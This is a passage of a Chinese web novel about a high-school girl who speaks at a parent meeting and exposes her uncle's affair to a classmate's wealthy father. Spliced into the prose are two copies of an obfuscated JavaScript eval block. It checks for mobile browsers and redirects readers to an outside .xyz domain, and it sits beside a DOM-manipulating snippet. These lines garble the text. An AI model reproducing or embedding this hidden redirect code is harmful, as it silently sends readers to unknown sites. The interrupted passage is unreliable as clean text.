他看着喻星旋的背影,一脚踢上身边的柱子,嘴里骂了好几句“赔钱货”、“小贱人”,这才解气。 喻星旋回到奶奶家,一进门,就看到玄关处堆着许多礼品盒。 是一些补品,还有米面。 她瞬间就联想到了今天堂哥反常的态度:“奶奶,谁来我们家了?” “还能是谁,你那个不孝的三叔。” 今天白天,喻建波厚着脸皮上门,说了许多好话,想让刘素平帮他劝喻星旋答应自己替她去开家长会。 他知道喻星旋脾气倔,不可能答应他,又不愿意放下身段来求一个小辈,就试图搬出奶奶来压她。 甚至晚上,还派自己的儿子做说客,做她工作。 喻星旋双手在身侧攥紧,除了喻建波一家人的嘴脸让她恶心,她也很紧张,担心老太太在这件事上犯糊涂,真的会劝她答应。 “奶奶,他为什么非要替我参加家长会?” “说是工作上犯了错误,四处走动,托关系想保住工作。” 喻星旋愣了下:“……他不想丢工作,跟我有什么关系?” 刘素平极其看不惯这个小儿子的做派,哼了一声:“他不知在哪打听到,他们酒店最大的领导,是你一个同学的爸爸。” 26. 带我找他 . 喻星旋怔了怔。 顷刻间,脑海中浮现出一张挑不出一丝错处的俊颜。 喻星旋的家庭条件不差,刘素平年轻时是部队上的女兵,每月的退休金可观。妈妈唐愿虽然不在长南,但也会给家里打很多生活费。 班里大部分同学,应该都出自跟她差不多的普通家庭。 她其实并不知道陈嘉授家里具体是做什么的,但看到班里男生对他的态度,似乎很能说明问题。 喻星旋一点都不想让三叔如意。 也不想因为一个人品低劣的亲戚,让自己被陈嘉授的家人看轻。 喻星旋紧张地盯着刘素平,舔了舔唇角:“奶奶,你千万不能答应他,我自己去开家长会,班主任已经答应了。” “……”刘素平笑着捏了捏她的脸,“放心,奶奶又不傻。” 下一秒,刘素平横眉冷对地指着门口的礼品,“要不是我腿脚不方便,他也别想把那堆破烂留在我家。” 喻星旋终于放下顾虑,弯着眼睛笑起来。 她坐在奶奶身边,一边给她按摩着脚腕,一边问:“三叔到底犯了什么事啊?” 尽管祖孙俩相差两个辈分,可刘素平从来不拿喻星旋当小孩子。 刘素平对这个小儿子失望透顶,重重地叹口气:“说出来都嫌丢人,他跟方小莉一起过了大半辈子,到了这个年纪还想着在外面偷吃。” 喻建波是某酒店的经理。一个月前,他勾搭了一位到酒店实习的女大学生,女生的男友到酒店大闹一场,扬言要给他好看。 酒店上下都在看他的笑话,影响实在太差。再加上喻建波被对方男友找来的人打了一顿,每天灰溜溜地东躲西藏,也不敢来上班,上面就暂时停了他的职。 这家酒店隶属于蔚然集团。由于喻建波大小也算个领导,因此他的任免,最后还要过集团的一把手那关。 为了保住工作,喻建波托人托关系,想方设法地求见董事长,甚至在集团旗下新酒店开业时偷偷混了进去,想找个时机单独给自己求情,却连董事长的面都没见上。 “那,方小莉现在知道他出轨吗?” 方小莉是三婶的名字。 “他老婆现在还不知道,不过再过一阵子,他也瞒不住了。” “应该告诉她。”喻星旋觉得有些坐不住,“就算她人品不好,但她也有知情的权利。” 刘素平看着孙女笃定的眼神,不由得从心底生出一股欣慰。 看,她的孙女被她养得多好。她是那么有正义感,甚至不计前嫌地,愿意为无比讨厌她的三婶讨公道。 但有些事,以她现在的年纪,确实有些难以理解。 “他老婆就算知道,也不会跟他离婚的。” 喻星旋错愕:“为什么?” “他老婆没有工作,一家人靠他一个人养。” “……” 喻星旋瞬间懂了。 如果喻建波真的丢了工作,一家人就失去了收入来源。 如果三婶知道了,按照她那个泼妇骂街的性子,最大的可能,是她去女学生那里撒泼打滚,指责对方勾引自己老公。 她明白了原因,但还是不能理解。 人到中年,这样的一段婚姻,有什么意义可言吗? 又有什么继续存在下去的必要? 跟奶奶聊过后的那个晚上,喻星旋变得特别沉默。 她从前特别讨厌三婶,听到她恨不得把后槽牙咬碎,但从那天开始,喻星旋忽然对她多了一丝复杂的感觉。 她的不讲道理,不是因为强大,而是因为软弱。 说到底,她是一个不能、也不敢主宰自己人生的人,既悲哀,又可怜。 - 家长会之前,喻星旋去办公室找王世富,跟她说了奶奶的情况,问他能不能自己给自己开家长会。 喻星旋的语气,不是商量,是通知。王世富知道她家里的情况,父亲是烈士,母亲常年在外地建设边疆,很爽快地同意了。 “谢谢老师。” 喻星旋道过谢,正打算离开,老王忽然叫住她:“课代表,你等等。” 喻星旋回过神,听到老王说:“第一次月考你考了班级第一,愿不愿意当学生代表,给家长们介绍介绍自己的经验?” “……” 喻星旋顿了下,反应过来老王的用意。 他是担心她到了家长会那天,坐在许多家长中,会觉得心里难受。 “我愿意试试。” 喻星旋没有拒绝老王的好意,接下了这个任务。 最近,三叔没有再上门烦过奶奶,喻耀宗也没再来找过她。 大概是看在她身上行不通,另寻办法了。 这让喻星旋暂时松了口气,同时也对家长会那天充满了期待。 她也从来没有如此期待过一项班级活动。 到那天,她会看到陈嘉授的家长。而且作为班长,陈嘉授周六也要来学校,帮着布置教室,以及一些服务工作。 她会作为学生代表在讲台上介绍经验,到时候陈嘉授的家长就会知道,是她在月考里超过了他。喻星旋期待以这样的身份被他的家长认识。 上周陈嘉授发烧倒在她肩上,被送去卫生院吊了几瓶水,折腾到快傍晚才出院。 她当时努力憋着笑跟陈嘉授保证,不会把这件事说给任何人听。 于是这个世上,又多了件只有他们两人知道的秘密。 其实那之后,她和他的关系没有发生明显的改变。他照常跟朋友们去打球,照常会被人送情书和礼物,但还是有点不同的。 比如,她收发物理作业时,他开始主动跟她说话。虽然大多只是问她某一道难题选了什么。 但陈嘉授好像并不知道她要在家长会上发言。 不过,她也没打算告诉她,而是要在家长会上忽然出现,让他惊讶之余来问她:“你怎么来了。” 周一到周五,喻星旋在紧张期待、万事俱备的氛围里度过。 只是她没想到,家长会那一天,陈嘉授作为班长,却迟迟没出现。 到现场服务的,是沈林风和几个提前指定的同学。 沈林风没想到会看见她:“喻星旋,你咋也来了啊?” “老王让我来做个发言。”喻星旋不太相信陈嘉授居然会缺席,迟疑地问,“你呢,你也是被老王叫过来的?” “阿授早上有事请假,拜托我来替他咯。不过我可不白干,他答应寒假给我带游戏机和卡带……” 喻星旋像是一脚踩空,有些说不出话。 家长们陆续开始入场,喻星旋靠在外面的走廊,打算趁开始前再熟悉一会儿发言稿。 她一边出神地想着,陈嘉授是因为什么事情请假,班级里两个男生的议论声从一旁传来。 “给授哥开家长会的是谁啊,是他爸吗?” “肯定吧,他们长得有点像,一看就是他爸。” “那就没错了,我刚才在外面看到他爸从一辆车上下来,你猜那辆车什么牌的?” “什么牌啊?” “库里南!劳斯莱斯库里南,整辆车装下来不低于七百万。”男生语气里全是对金钱的震撼,“跟车的价格一比,我甚至觉得他爸有司机也不是什么了不得的事了。” “我靠,他家真的是亿万富翁啊。” … 时间差不多了,喻星旋回自己的座位上。 穿过讲台时,她习惯性朝着教室后门边瞟了一眼,心底微微一震。 她的同学没有骗人,陈嘉授的位置上,坐着一位保养得宜的中年男人,在跟沈林风的家长寒暄。他穿着低调但剪裁精致的休闲装,那双眉眼几乎是陈嘉授的翻版。 一看就养尊处优,而且很贵。 喻星旋只看了一眼就收回视线,把脊背挺得更直了点。 李安蓝的妈妈坐在喻星旋旁边。她好像特别喜欢喻星旋,热情得让她有点招架不住。 她拉着喻星旋的手,左右端详她的脸,喜笑颜开道:“蓝蓝经常在家提起你,说她同桌学习好,性格酷,而且长得也漂亮。你怎么自己给自己开家长会了,你爸妈呢?” “……”喻星旋听到后半句,上扬的唇角微微僵了僵,“他们都不在长南,所以来不了了。” “哎呦,多懂事的孩子啊,爸妈不在身边还那么自觉。”李安蓝妈妈说着说着,就开始吐槽起自己的女儿,“不像蓝蓝懒得要死,一天天就知道追星看帅哥,我每天都得拿着鞭子在她背后赶,不赶她一点都不知道学习……” 天下爸妈大概都是这样吧。喻星旋能听出,李安蓝的妈妈尽管埋怨,但语气里对自己女儿的爱是怎么都藏不住的。 不知道妈妈跟同事朋友会怎样提起自己,喻星旋眼神黯了黯,没有多说什么。 所有家长到齐后,老王宣布家长会开始。 除了喻星旋之外,老王还找了施秦的妈妈做家长代表,发表了一番励志的、催人泪下的发言。 施秦家是农村家庭,家里兄弟姐妹四个,施秦是老二。母亲因病丧失劳动力,一家人全靠在外打工的父亲和大哥撑着。 她说,她们全家最大的愿望,就是看着施秦有出息。 她还没讲完,讲台下就有许多家长擦起了眼泪。 轮到喻星旋上台,她扫过台下的家长,深吸一口气,开始说一番,在他们听来或许是大逆不道的话。 “我知道在座的各位家长,有许多愿意认真听我讲话,都是想知道我的家长是怎样教育我,才让我取得不错的成绩。但我或许要让你们失望了。” “因为一些原因,我爸妈并不在我身边,也没有参与过我的学习。不过,我也并不是没有人管。耽误大家一些时间,我想讲一讲我和我奶奶的故事,她今天本来应该坐在下面……” 她知道老王交给她这个任务是出于信任。她接下来要说的话,可能有些对不起老王。所以在写稿子时,她默默在心底对他说了许多声抱歉。 但这段时间,喻星旋总是想到三叔一家,许多话积压在她心底,不吐不快。 爷爷奶奶有三个儿子,爸爸和二叔都是义胆忠肝的人,唯独三叔,一出生就被他的奶奶,也就是爷爷的母亲强行抱走。 她一直看不惯刘素平,但极其溺爱这个被自己养大的孙子。刘素平上门管她要孩子,她拦着死活不让他们母子见面。后来,三叔被爷爷奶奶接回身边时,已经染了一身恶习,也被她教唆得跟刘素平一点都不亲。 那时候,刘素平对喻建波又失望又愧疚,无数次尝试让他走回正路,却把喻建波推得越来越远。 后来,刘素平也看开了,放弃了。她从不是会因为一个错误毁掉自己人生的人,忍痛拔下了喻建波这根刺,但她始终怨恨着爷爷,恨他的懦弱,恨他当年为什么不拦着,放任她失去孩子。一直到他死,他都没得到她的谅解。 如果三叔能跟在奶奶身边长大,他应该,也能成为一个很正直,很优秀的人吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15818998|175451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 当年,唐愿生喻星旋时经历丧夫之痛,胎里带了不足,喻星旋小时候比同龄人矮瘦,三天两头生病。碎嘴邻居劝奶奶,说她就是个女孩,早晚要嫁人,不用给她花太多钱,奶奶从来不理会,只要是吃的,样样都给她买最贵最好的,硬是把她的体质补了上来。 在她被欺负时,奶奶永远挡在她身前,虽然爸妈不在,但她知道自己永远有人撑腰。 她初中时的成绩一直不太稳定,临近中考压力很大,担心让奶奶失望。奶奶却对她说没关系,她又不是因为她成绩好才愿意对她好,就算她每次考试都考不好,她也愿意养她一辈子。 一个能为她做到这个地步的老人,如果不是失望透顶,对自己亲生的孩子又能差到哪里。 甚至,如果三叔没有走歪,她堂哥喻耀宗,也不会继承他们的这副小人嘴脸。 喻星旋想,教育好像真的很奇妙。就像一颗种子落在土壤上,种下什么因,就会结出什么果。 十几岁的少女,有大好的、未知的,天高海阔的人生。奶奶从不强行干预,而是拿走了她所有的后顾之忧。 她的双手温柔有力地托举着她,告诉她不要怕,只管做你想做的。 喻星旋当然不会把家里的情况讲给台下的家长们听,但她脑海中,有太多跟奶奶相处的画面和故事。 奶奶就是她人生的第一本教科书。 喻星旋的手因为情绪微微激动,按在讲台的边沿上。 少女娓娓道来,声音有些发颤,但眼底闪着难以抑制的光。 “……家长的插手,或许一时看来确实能看到成效。但我还是认为,哪怕找最好的补习老师,听清北的学生分享学习经验的讲座,许诺考好后奖励去哪里旅行,这些也依旧只是激励的手段,而不是教育本身。 “教育,是言传身教,是用漫长的时间让我们知道,你们,是值得我们信任和托付的人。” … 教室里鸦雀无声,喻星旋没有理会他们的反应,片刻的停顿后,说出结束语,清澈但有力的声音在教室内久久回荡: “至于教育的目的,提高成绩固然是一方面,但最终的目的是让我们明白,想要成为怎样的人。这就是奶奶让我明白的道理。” 结束后,喻星旋深深鞠了一躬。 没有她预想中学生家长拍案而起,直呼让她下台的画面,她已经很庆幸了。 但讲台下的家长,许多都面带古怪,面面相觑,但又不知道说什么。 老王抹了一把头上的汗:“好,感谢喻星旋同学的发言,也是非常富有个人特色的见解……” 喻星旋点点头,正准备走下讲台,教室的后门边,却响起了缓慢浑厚的掌声。 陈少威在众人诧异的目光中八风不动地坐着,面带笑意和赞许地望着喻星旋抚掌,每一下掌声都极其有节律。 “我倒是觉得,喻同学的想法跟我们家的一些做法不谋而合。许多人一辈子都不知道自己究竟想成为什么样的人,难道各位家长不觉得?” “……” 或许是确实有所触动,或许是想卖陈少威一个面子,不知是谁的家长第一个响应,接着是第二个,第三个,掌声虽不激烈,但却响了很久。 一直到喻星旋回到位置坐下,掌声才渐渐平息下去。 这时喻星旋才感到心跳跳得好快,意识到刚才那一番发言,确实冒了险。 而且如果不是陈嘉授的爸爸,她今天其实没那么容易收场。 等家长会散场,出于礼貌,她是不是也应该去道声谢? - 十点半家长会结束,许多同学的家长围到了陈嘉授爸爸身边,想跟这位传闻中难得一见,但又难得随和的人攀谈几句。 因为他身边围的人实在太多,一时半会不会结束,喻星旋打算去教学楼外等。 然而,她刚一走出教室,就被人扯着手臂拽到一边。 看到突然出现的喻建波,喻星旋几乎要气笑了,瞬间便明白,三叔上次被拒绝了一次,后面为什么没有动作。 原来是为了让她降低戒心,在这儿等着她呢。 “放开我,你干什么?” “你奶奶没跟你说?三叔有点事,得找你们班同学的爸爸商量,他在哪?你快带我去找他。” 喻星旋猛地甩开他的手:“什么事啊?你不告诉我,我不带你找他。” “嘿,你这小孩怎么这么不听话?”喻建波努力平复下怒意,仍旧舔着脸说,“我是你长辈,你帮长辈点小忙怎么了?” “帮谁都行,反正不帮你。” 喻建波气急败坏,高高抬起巴掌。 喻星旋指着自己的左脸,丝毫不慌:“打,你朝这儿打,我警告你走廊上有监控,你只要敢打下来,我立马报警。” 喻建波见喻星旋硬的不吃,只好装惨扮起了可怜:“闪闪,你爸跟我可是亲兄弟,我妈,也就是你奶奶,从小把你看到大,对你没得说,我是她亲儿子,你怎么好意思,你不帮我,难道忍心看着我去死吗?” 喻星旋冷冷地说:“那你就去死吧。” 喻星旋话音刚落,前方传来一道男声:“这不是喻同学吗,幸会幸会。” 什么叫得来全不费工夫。喻建波一转身,立刻挂上谄媚的笑:“陈总,您还记得我吗?……” 陈少威挑眉的神态,也跟陈嘉授如出一辙。 但他并未理会喻建波,而是和颜悦色地问喻星旋:“这位是谁,我刚才听说,他找我?” 27. 冤家 . “……叔叔好。” 喻星旋内心警钟大作,僵硬地扯了扯唇角:“这是我家一个亲戚,我也不知道他来干什么。” “陈总,你别听这小丫头片子胡说,久仰大名,我当然是来见您的,能不能麻烦借一步说话?” 陈少威的视线终于被吸引到喻建波身上,他审视着面前的中年男人,态度来了个一百八十度的转弯,冷淡地扫视他:“你是喻同学的……” 喻星旋连忙阻止:“他不是——” 她只来得及说出几个字,就被喻建波抢断。他低头哈腰,脸上挂着讨好的笑:“我是她三叔啊,陈总您看,我们家侄女能跟您儿子在同一个班念书,真是我们做家长的荣……” “哪里,喻同学很优秀。”陈少威不失体面地回复着,虽然客气,语气却比刚才冰冷了几分,“这边请吧。” 眼看目的达到,喻建波立刻把喻星旋甩到一边:“哎哎哎,您先走您先走。” 走廊两旁站着许多家长,两个大人谁也没有过问她的意思,就这么越过她向走廊另一侧走去。 陈嘉授的爸爸迈着闲庭信步,喻建波走在他的身侧,引路的姿势滑稽又可笑,像个低三下四的门童。 喻星旋攥紧了拳,背上像有一万根芒刺在扎。 这一幕,也深深地刺痛了她的眼睛。 在今天之前,她就知道她跟陈嘉授家里的差距应该很大。 但面对他时,她从来没有因此自卑。 就算是听到班里那两个男生说,他爸爸开家长会开的车要七百多万,喻星旋的内心仍旧毫无波动。 因为那辆车不管是七百万还是八百万,都跟她没任何关系。 她从来不觊觎不属于自己的东西,所以一点都不羡慕。 无论是每周去书吧做兼职,还是坚持为几分钱跟商贩杀价,哪怕是当着认识的同学的面,她也不在乎会不会被人笑话。 赚钱不可耻,省钱也不可耻,没有哪里低人一等,她腰杆挺得很直。 但当看见三叔在陈嘉授爸爸面前卑躬屈膝,像条哈巴狗一样跑前跑后的时候,她确实自卑了。 她一直以来维持的无所不能、也无所畏惧的形象,被喻建波撕下来扔在地上,还在上面狠狠踩了两脚。 难道喻建波看不出陈少威对他的态度吗? 那种从上而下的看不起,冷淡中带着嫌恶,连搭理都懒得搭理。 她都能看出来,他这个年纪的人不会看不出来,只是因为有求于对方,所以不得不装孙子。 但他凭什么利用她,凭什么打着她的旗号? 她的脸全都被他丢尽了,她甚至想象不到,在知道喻建波是怎样的人后,陈少威会怎么看待她。 喻星旋的胸口翻腾着怒火,愤怒和委屈摧毁了她的所有理智。 喻建波敢毁了她的面子,让她在陈嘉授的家长面前出丑,她今天绝对不会让他好过。 那边,喻建波还在旁敲侧击。他目前还不确定集团总部听没听说他犯下的丑事,所以试图先探听探听陈少威的口风。 但陈少威久经商场,比狐狸还精,任他怎么试探都不接招。 他转了转手表,提醒道:“你有话直说吧,我没那么有耐心。” 喻建波心里没底,但他看出这位陈总对自己的侄女倒是很欣赏,于是尝试先打感情牌:“嗨,您看,真是什么都逃不过您的法眼。我最近确实是出了些小麻烦,想请您高抬贵手一把,您就算是看在孩子面上……” “喻建波!” 喻星旋像一只愤怒的小豹子,大步冲过来,顾不上陈少威还在场,一把扯住喻建波:“你闹够了吗,还不走,嫌你自己不够丢人?” “你给我滚一边去,轮得着你管教长辈?” 喻建波猛地一甩,喻星旋向后踉跄了一下,后背撞在楼梯拐角的玻璃窗上,发出一声巨响。 喻星旋还没站稳,忍着疼,死死地拽住他逼问:“你算什么长辈?” 陈少威缓声道:“喻同学,你先让他说完。” “叔叔,你不用听他狡辩了,我告诉你。” 喻建波惊恐地上来捂她的嘴,但却已经晚了,喻星旋的声音已经清晰无比地响起: “喻建波,他就是个人渣。” “他出轨了一个跟他儿子差不多大的人,怕自己丢工作,这才想借着这次家长会跟你套近乎,您千万不能帮他,一定要把这种人开除!” 喻建波目的被拆穿,终于露出了狰狞的嘴脸:“白眼狼,胳膊肘往外拐,你跟那个死老太太合起伙来害我。陈总您可千万别听她胡说啊,她……她平时就恨毒了我们家,她跟你说这些,就是为了抢我们家东西——” 陈少威冷眼看着这场闹剧,此刻终于开了尊口:“这是学校,注意你的言行。” 喻建波已经失去了章法:“陈总,不是她说的这样,真的是那个女的勾引我——” “情况我已经了解,下周有专人调查,你回家等消息吧。” “……”喻建波脸色灰白,死死地瞪了喻星旋一眼,“你他妈给我等着。” 事情了结,喻建波一走,喻星旋反而比刚才还要难堪。 她忐忑地望向陈少威,不知道他会如何看待自己。可没想到陈少威居然对她温和地笑笑:“喻同学,我正想跟你聊聊。” 陈少威请她来到了校外的一家高档咖啡厅。 喻星旋心里没有底,觉得陈少威应该是要跟她聊喻建波。 这关系到喻建波能不能得到应有的惩罚。她只能不断用银勺搅动着杯里的咖啡,来掩饰自己的内心的紧张。 但她的判断居然又一次错误。 陈少威端起咖啡喝了一口,开口的第一句话像闲谈一般:“对了,你跟陈嘉授熟悉吗?你对他印象怎么样?” “……”喻星旋眼瞳微微一震,没想到他居然问这个。 “他、他……”许多形容词在她脑海中像开了弹幕一般滚过,却一条都抓不住。 喻星旋一时间语塞了,甚至有点结巴。 最后她抿了抿唇,谨慎地在他爸爸面前下了一个不会出错的定义,“他很聪明。” “哦?这个评价可不低。”陈少威笑着问,“你为什么会觉得他聪明?” “月考他虽然考得不算太好,但也是因为那段时间他还忙着准备其他比赛。很少人能像他这样一心多用。” 喻星旋的这句回答,其实半真半假。 毕竟,在开除三叔的事上,她是有求于陈少威的。 没有家长不喜欢听别人夸奖自己的孩子,喻星旋觉得陈少威也不例外,便投其所好,拣对方可能想听的说。 然而,陈少威的关注点好像完全不对:“你也知道他去参加比赛?我还以为这小子平时在学校很低调呢。” 喻星旋没来得及细想,连忙说:“没有,叔叔,我也是偶然间听别人说的。” 这次聊天出乎意料地顺利,为了让开除三叔板上钉钉,喻星旋把过去这些年三叔一家人是怎么对奶奶的,一股脑地告诉了陈少威。 虽然从始至终,陈少威都没有给出明确的保证。但从陈少威对三叔的态度上,喻星旋很肯定,他一定也很看不上三叔的为人。 喻星旋心情轻快,回家的路上都在哼着歌。 一到家,奶奶马上问她:“闪闪,今天都顺利吧,那不肖子有没有作妖?” 喻星旋不想让奶奶担心,拉着她的手摇了摇:“当然没有,奶奶你就放心吧。” “那就好,奶奶今天买了两斤小排,中午给你做糖醋小排吃。” 喻星旋弯着眼睛说好。 回到房间,换下衣服,仰面躺在床上。 回味着今天拆穿喻建波的经过,还是觉得荡气回肠。 过了会儿,她想起手机还关着静音,就翻出来拿在手里。 果然,今天在家长会上的那场分享下来,她收到了许多人的微信消息。 其中就有沈林风:【我的妈呀,喻星旋你也太敢说了,我在教室外面听得大气都不敢出】 【不过真的解气,嘿嘿】 还有一条,来自于陈嘉授。 不过他并没有给她发消息,而是转账过期,自动返回她账户的通知。 上次修镜头,喻星旋觉得自己也负有一半责任,于是转过去一半的费用。 第一次转陈嘉授没有收,自动退回后,喻星旋也不劝他收下,而是再次转账过去,但他还是不收。 循环往复,像一场无聊的游戏。 连续几天后,是陈嘉授先受不了,威胁她:【再转拉黑你】 当时喻星旋连半个标点符号都没回,立刻又把钱转回去。 ……到现在也有几天了,看样子陈嘉授只是嘴上说说,还是没拉黑她。 而且很明显,他根本不差这一千一百元。 他爸爸也是通身名牌,却出乎意料地随和,学生给他倒水,他笑着道谢。 但清场时,喻星旋回教室取书包,注意到一次性纸杯里便宜的茶水,他一口都没动。 陈嘉授的爸爸最后虽然安慰了她,还夸她有反抗的勇气,谢谢她愿意如实告知,但她觉得,那似乎只是出于一种习惯性的礼貌。 没准他今天回家,就会把家长会的事情当成笑话讲给陈嘉授听。 想到这里,空气里的氧气似乎都稀薄了几分,让人胸口憋闷得不行。 喻星旋瞬间从床上弹起来,重新打开跟陈嘉授的聊天框。 可半天也不知道该不该跟他解释点什么。 解释什么都欲盖弥彰,任何理由都苍白。 她纠结了很久,最后,她没再像之前一样,重新把钱转给他。 似乎经过今天上午,他们之间又重新筑起了一股名为芥蒂的高墙。 坚持给他转钱,是因为不想对他示弱,也不想接受他的馈赠,而是让陈嘉授平视她,将她摆在跟他对等的位置上。 可一直以来的坚持,却在今天泄了气。 …… 她怕他知道,怕他多问。原来她有那么不体面的家人。 - 喻星旋在这边思忖着陈少威对她的印象,殊不知另一边,陈少威一到家,就迫不及待地问妻子:“儿子还没回家?” “嗯,他中午十二点下课。” 这学期,每逢周六上午,陈嘉授都会去长南大学,旁听飞行器制造的选修课。 陈少威直呼可惜。 陈蔚好奇问他发生了什么,陈少威:“他可错过了一段十分精彩的演讲啊。” 听丈夫绘声绘色地讲着他听到的演讲内容,陈蔚一向沉静严肃,都不由得笑了笑:“还真是个有个性的姑娘。” “是啊。好好的女仔,怎么会偏有那么一个丢架的亲戚。她家那个三叔,简直是个烂泥糊不上墙的货色。” 陈少威气不打一处来。 饶是他为人再没架子,在得知喻建波的问题后,都不打算给此人任何机会。 对于陈少威这样一个唯老婆话是瞻的妻管严而言,搞婚外恋,无疑踩中了他最大的雷点。 年岁越大他越认同老祖宗说的话,觉得“疼老婆的人会发财”是一句真理。他跟陈蔚成婚二十年,爱她,敬她,重她,极其鄙视三心二意的男人。 “所以陈总有什么打算?”陈蔚拍拍丈夫的膝头,揶揄道,“被人家小姑娘的大义灭亲感动了,也打算为民除害?” “原本确实是被气得不轻,但——” 陈少威话锋一转,“后来问了问她家的情况,又觉得直接开除他,似乎也不太合适。” 陈蔚:“怎么说?” 陈少威听到门边传来的动静,给妻子递了个眼色,二人同时止住了话音。 陈嘉授回来了,换下鞋子,正经过客厅。 按照他之前的习惯,回家之后他一般会径直回自己房间。 但今天,他却在一楼徘徊了会儿,走到中岛台给自己倒水。 陈蔚和陈少威对视了一眼,默契地没有继续在孩子面前聊大人私德有亏的话题。 两人一个看手机,一个看杂志,客厅的氛围安静得诡异。 陈嘉授皱了皱眉,一杯水已经见底,爸妈还是一句话都不说。 他开始有些沉不住气:“你们刚才在说什么?” 陈少威:“也没什么,刚跟陈教授聊到你们班一个女同学。” “谁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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陈蔚被丈夫恭维得十分熨帖:“这还不好办,明升暗贬,把他调到外地,找人盯着他给他使绊子,时间一长,还愁他不会主动辞职?” 陈少威眼底笑意更盛。 “你笑什么。”陈蔚戳开他脑袋,“你是不是想说,你也是这么想的,我跟你想一起去了?” “哪有。”陈少威耍起赖来比二十年前还不遑多让,抓住陈蔚的手包在手心里握紧,“陈教授,我怎么觉得,你跟我学得越来越坏了。” … 周一晚自习前,超市。 “阿授,好像很久没见你那个冤家了。” 陈嘉授和几个朋友吃完晚饭,路过超市买水,彭骏一这话一出,其他人立刻看热闹不嫌事大地起哄起来。 只有沈林风蒙在鼓里:“什么冤家,我怎么不知道!” “不该啊老沈,亏你还是阿授同桌,居然不知道他跟你们班那个女生……” 陈嘉授:“听他们胡说。” “我们班的?”沈林风挠了挠头,思考了片刻,“你说的不会是喻星旋吧?这你可冤枉阿授了,他们平时在班里都没怎么说过话。” 彭骏一:“那是因为他们说话的时候你都没看见。远的不说,就上次运动会……” 陈嘉授肩宽腿长,校服外面披件黑色的夹克外套,与冷白肤色对比鲜明,显得挺拔而冷峻,站在货架间隙中尤为吸睛。 不少视线落在他身上,但这几个损友却生怕别人听不到。 他走到他们中间,将话题打断:“刘沐最近去哪了,上周也很少见他。” “他啊?最近感情出了问题,在跟女朋友闹分手呢。” 有人问为什么。 “还能为什么,女生还是得哄的。刘沐钢铁直男,十棍子下去揍不出一句哄人的话,还不闹分手?” 几人故意看向陈嘉授,却只看得出他无动于衷。 陈嘉授的确对“哄”这个字极其不屑。 在他的字典里,就没有哄这个字。 都是高中生了,一只脚已经迈进成人门槛。如果靠哄就能解决问题,不如再去上几年幼儿园。 他拿了瓶常温的矿泉水,正要去结账,彭骏一忽地一把扯住他衣服:“等会儿,授,是我眼花了吗,你看那是谁?” 超市最里面摆着一排冷柜,喻星旋站在其中一台前,踮着脚尖,在够最上面一排的东西。 是她常喝的那个牌子的柠檬茶,以前不会放这么高的。但可能是店员补货时放错了位置,喻星旋尝试了几次,都还是够不到。 最后她选择放弃,关上柜门。 一转身,她身后却不知何时站了个人。 平直的下巴线条,一尘不染的校服衣领。 这一处空间狭小,她没有费力地抬头去辨认他的脸,却还是认出了人。 许久没离他这么近过,喻星旋心跳不由得变快。 但这心悸很快就被另一阵担忧覆盖。 或许他已经知道了三叔的事,所以才来找她求证。 她不能给他发问的机会,必须抢在他之前开口,才能掌握主动。 喻星旋装作若无其事地笑笑:“好巧,你也来买水?” 陈嘉授没说话。垂眼,看到白炽灯下,她柔软的发顶发旋,和挺翘的鼻尖上的一颗小痣。喉咙像是被人挠了下。 迟迟没听到回答,喻星旋心里更加没底。 她一点都琢磨不通陈嘉授的态度。 难道他真的是来兴师问罪的,觉得她的亲戚给他爸添了很多麻烦? 可说到底,这也是她家跟他爸爸之间的事,陈嘉授有什么立场过问? …… 喻星旋忽然感到一阵焦躁,垂下眼睫:“那你买吧,我先走……” “回来。” 一只修长的手臂猝不及防地横在她面前。 陈嘉授极其自然地握上柜门把手,偏头望她:“要哪个?” 28. 柠檬茶 . 喻星旋白皙的面孔上,闪过一丝不自在的讶然。 难道她猜错了,他并不是来问她三叔的事的? 虽然找回了些底气,但她仍旧不能排除这个可能。 喻星旋有些心虚,清了清嗓子,波澜不惊地淡声说:“不用了,我现在不想喝了。” 不用想都知道,陈嘉授的脸色应该不算好看。 喻星旋趁他还没反应过来,从他的另一边绕了过去,空手逃离了超市这个是非之地。 “……”陈嘉授一手还搭在柜门上,眼睁睁地看着,她就像一尾小鱼,尾巴一摆,灵巧地从他和柜门的间隙中溜走。 无声的尴尬在空气中蔓延。 他舌尖扫过牙槽,装作若无其事,缓缓松开手。 一回头,几个朋友也是面面相觑。 “你刚才跟喻星旋说了什么?她怎么一看见你就跑,连饮料都不买了。” 陈嘉授收回手,极有风度地掸了掸自己的衣角:“她有事。” 很快,一行人各自挑好了饮料,去收银台结账。 回教学楼的路上,因为刚才的话题说到喻星旋,沈林风自然而然地想起了上周的家长会。 “多新鲜哪,底下那么多家长,她居然说家长逼我们学习是没用的,不如从小就好好教我们做人。说真的,我都替她捏了一把汗……授啊,你那天没来真是太可惜了。” 陈嘉授不知在想什么。被沈林风推了推,这才回神。 “我刚才说的你听见没?” “……”陈嘉授忽然顿住脚步。 沈林风:“怎么了你?” 陈嘉授把矿泉水抛进他怀里:“帮我拿上去。” “你去哪啊?” 夜幕已经降临,校园里路灯亮起,陈嘉授拉上外套拉链,转身走向不远处灯火通明的超市:“有东西忘了买。” - 喻星旋从超市出来,又去了一趟物理办公室。 很快便是期中考试,下午最后一节自习,老王告诉她,年级里新印了一批物理卷子,让她晚自习前去取一趟。 喻星旋带着新的物理作业回班,班里一片哀鸿遍野。 但抱怨归抱怨,大家也顿时感受到了期中考试临近的压力。 长南市重视尖子生的教育,每次期中考试,几所王牌高中都会举办多校联考,美其名曰对标找差,发现不足。 